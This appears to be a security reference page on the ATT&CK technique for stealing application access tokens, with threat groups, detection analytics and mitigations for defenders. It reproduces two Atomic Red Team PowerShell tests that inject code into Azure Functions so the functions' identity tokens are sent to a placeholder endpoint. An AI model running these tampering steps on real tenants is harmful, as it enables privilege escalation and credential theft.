tfMITRE ATT&CK technique

Steal Application Access Token T1528

Tactic: Credential Access
Platforms: Containers, IaaS, Identity Provider, Office Suite, SaaS
Version: 1.5
Created: 04 September 2019
Last modified: 12 May 2026
Contributors: Suzy Schapperle - Microsoft Azure Red Team; Shailesh Tiwary (Indian Army); Mark Wee; Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services); Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC); Ram Pliskin, Microsoft Azure Security Center; Jack Burns, HubSpot; Arun Seelagan, CISA; Eliraz Levi, Hunters Security; Alon Klayman, Hunters Security

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups70th pct

Threat groups70th percentile · 70% of ATT&CK techniques have this many threat groups attributed or fewer.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware72nd pct

Tools & malware72nd percentile · 72% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 12%

Detection rules88th percentile · 88% of ATT&CK techniques have this many detection rules written or fewer.

Steal Application Access Token MITRE reference T1528

70th pctamong all ATT&CK techniques for number of groups

4 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

ShinyHuntersG1057 ↗

Has stolen valid OAuth credentials from DevOps personnel or a company GitHub repository.1 Additionally, ShinyHunters has stolen application access tokens to access cloud services and to bypass authentication mechanisms.2

created 2026-07-292 referencesaka UNC6240

TeamPCPG1056 ↗

Has used malware to steal access tokens from targeted cloud and developer environments.1 2 3 4 5

created 2026-07-165 referencesaka PCPCat

APT29G0016 ↗

Uses stolen tokens to access victim accounts, without needing a password.1

created 2017-05-311 referenceaka IRON RITUAL

APT28G0007 ↗

Has used several malicious applications to steal user OAuth access tokens including applications masquerading as "Google Defender" "Google Email Protection," and "Google Scanner" for Gmail users. They also targeted Yahoo users with applications masquerading as "Delivery Service" and "McAfee Email Protection".1

created 2017-05-311 referenceaka IRON TWILIGHT

All 4 groups for this technique

Offense vs defense T1528

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 1Sigma rules (cumulative) · 14Splunk ESCU (cumulative) · 9

first rule: 2022 Q2 · 1 of 1 campaigns plotted

Steal Application Access Token detection strategy DET0515

MITRE names one behaviour worth catching for this technique and breaks it into 5 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for T1528 - Steal Application Access Token

Enterprise

5 platforms

AN1423 · Containers

Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File AccessDC0055	kubernetes:audit	GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Adjust based on how quickly tokens are expected to be used post-access
UserContext	Tuning for known service accounts that legitimately access the API

AN1424 · IaaS

Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service ModificationDC0069	AWS:CloudTrail	Use of temporary credentials issued from IMDS access
Cloud Service EnumerationDC0083	AWS:CloudTrail	GetInstanceIdentityDocument or IMDSv2 token requests

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UserAgent	May need tuning for known automation tools versus unexpected curl usage
TimeWindow	Correlate retrieval and use of token within expected timeout window

AN1425 · Identity Provider

Unusual OAuth app registration followed by user-granted OAuth tokens and subsequent high-privilege resource access via those tokens.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Application Log ContentDC0038	azure:audit	App registrations or consent grants by abnormal users or at unusual times

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ConsentScope	Tunable based on risky or privileged scopes in the environment
AppUserRatio	Threshold of how many users have authorized a given app

AN1426 · Office Suite

Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Storage AccessDC0025	m365:unified	App-only or delegated access patterns where client_id != known enterprise apps

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ClientAppIDAllowList	Defenders may allow known app IDs, flag unknowns
AccessVolumeThreshold	Rate of resource access by a newly consented app

AN1427 · SaaS

Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace — especially from new IPs, apps, or excessive resource access.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account AuthenticationDC0002	saas:googleworkspace	Access via OAuth credentials with unusual scopes or from anomalous IPs
Application Log ContentDC0038	saas:slack	OAuth token use by unknown app client_id accessing private channels or files

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
GeoVelocity	Flag when token use appears across geographically distant logins
OAuthScopeSensitivity	Weight certain scopes (admin, file.read) as higher risk

AuditM1047

Administrators should audit all cloud and container accounts to ensure that they are necessary and that the permissions granted to them are appropriate. Additionally, administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.

Restrict Web-Based ContentM1021

Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications. Azure offers a couple of enterprise policy settings in the Azure Management Portal that may help: "Users -> User settings -> App registrations: Users can register applications" can be set to "no" to prevent users from registering new applications. "Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf" can be set to "no" to prevent users from consenting to allow third-party multi-tenant applications

User Account ManagementM1018

Enforce role-based access control to limit accounts to the least privileges they require. A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens. In Kubernetes applications, set “automountServiceAccountToken: false” in the YAML specification of pods that do not require access to service account tokens.

User TrainingM1017

Users need to be trained to not authorize third-party applications they don’t recognize. The user should pay particular attention to the redirect URL: if the URL is a misspelled or convoluted sequence of words related to an expected service or SaaS application, the website is likely trying to spoof a legitimate service. Users should also be cautious about the permissions they are granting to apps. For example, offline access and access to read emails should excite higher suspicions because adversaries can utilize SaaS APIs to discover credentials and other sensitive communications.

Tests2ExecutorsPowerShell 2Need elevation0 of 2Have prerequisites2Have cleanup2Platformsiaas:azure

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Azure - Functions code upload - Functions code injection via Blob upload

iaas:azure

PowerShell

—

Yes

This test injects code into an Azure Function (RCE). Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code. Note: - The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations). - For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token". - The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI". Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Input arguments

Name	Type	Default	Description
blob_name	string	blob_example	Name of the function blob
container_name	string	container_name_example	Name of the container that contains the function blob
file_path_blob	path	$env:temp/T1528_function_code.zip	Path to the function code file to upload as blob
storage_account_name	string	storage_account_name_example	Name of storage account that is related to the Function

Attack command

az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {    
    $connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv

    # Download blob for cleanup
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
    az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true

    if ($LASTEXITCODE -eq 0) {
        # Upload new blob version if download of existing blob succeeded
        az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}

Cleanup command

az login    # Log in to Azure CLI

# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null

if ($LASTEXITCODE -eq 0) {
    Write-Output "Uploaded original version of function code."

    # Delete tmp original blob file if upload succeeded
    Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
    Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
    Write-Output "Upload original function code failed."
}

Prerequisite

Azure CLI must be installed

Check

try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name Az -Force

GUID398191a4-da00-417d-a797-f59779f79add

Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token

iaas:azure

PowerShell

—

Yes

This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines). Note: - The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations). - For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload". - The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI". - Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests. - The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path Requirements: - The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required. - The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions. Execution options: Defined by the input field execution_option - insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File). - replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).

Input arguments

Name	Type	Default	Description
file_path	path	site/wwwroot/function_app.py	Path to the Function file in the file share
file_share_name	string	file_share_name_example	Name of the file share that is related to the Function
execution_option	string	insert_code	Chooses execution option insert_code, or replace_file
code_to_insert_path	path	$PathToAtomicsFolder/T1528/src/code_to_insert.py	The code that will be injected into the Function
storage_account_name	string	storage_account_name_example	Name of storage account that is related to the Function

Attack command

az login    # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {
    # Download file for cleanup
    $tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
    az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode

    if ($LASTEXITCODE -eq 0) {
        # Upload new funciton code if download of existing code succeeded
        if ("#{execution_option}" -eq "insert_code") {
            # Download file from file share for injection
            $tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
            az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
            
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code download failed."
                exit 1
            }
            Write-Output "File downloaded: $($tmpFunctionCode)"
            
            $insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw  # Load the content of the insert file
            
            $content = Get-Content -Path $tmpFunctionCode -Raw  # Inject code to file
            $content = $insertContent + "`n" + $content     # Insert the new code at the beginning
            $content | Set-Content -Path $tmpFunctionCode       # Write the modified content to the file
            
            # Upload file to file share
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } elseif ("#{execution_option}" -eq "replace_file") {
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } else {
            Write-Output "Please choose a valid execution_option"
            exit 1
        }
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}

Cleanup command

az login    # Log in to Azure CLI

# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null

if ($LASTEXITCODE -eq 0) {
    Write-Output "Uploaded original version of function code."

    # Delete tmp original f file if upload succeeded
    if ("#{execution_option}" -eq "insert_code") {
        $tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
        Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
        Write-Output "Deleted tmp file: $($tmpFunctionCode)"
    }

    # Delete tmp original file
    Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
    Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
    Write-Output "Upload original function code failed."
}

Prerequisite

Azure CLI must be installed

Check

try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name Az -Force

GUID01879880-3eb8-4467-94b8-51294e2a5ebe

Tests from Atomic Red Team (MIT licence) · technique definition

Steal Application Access Token detections T1528

23 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 12%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs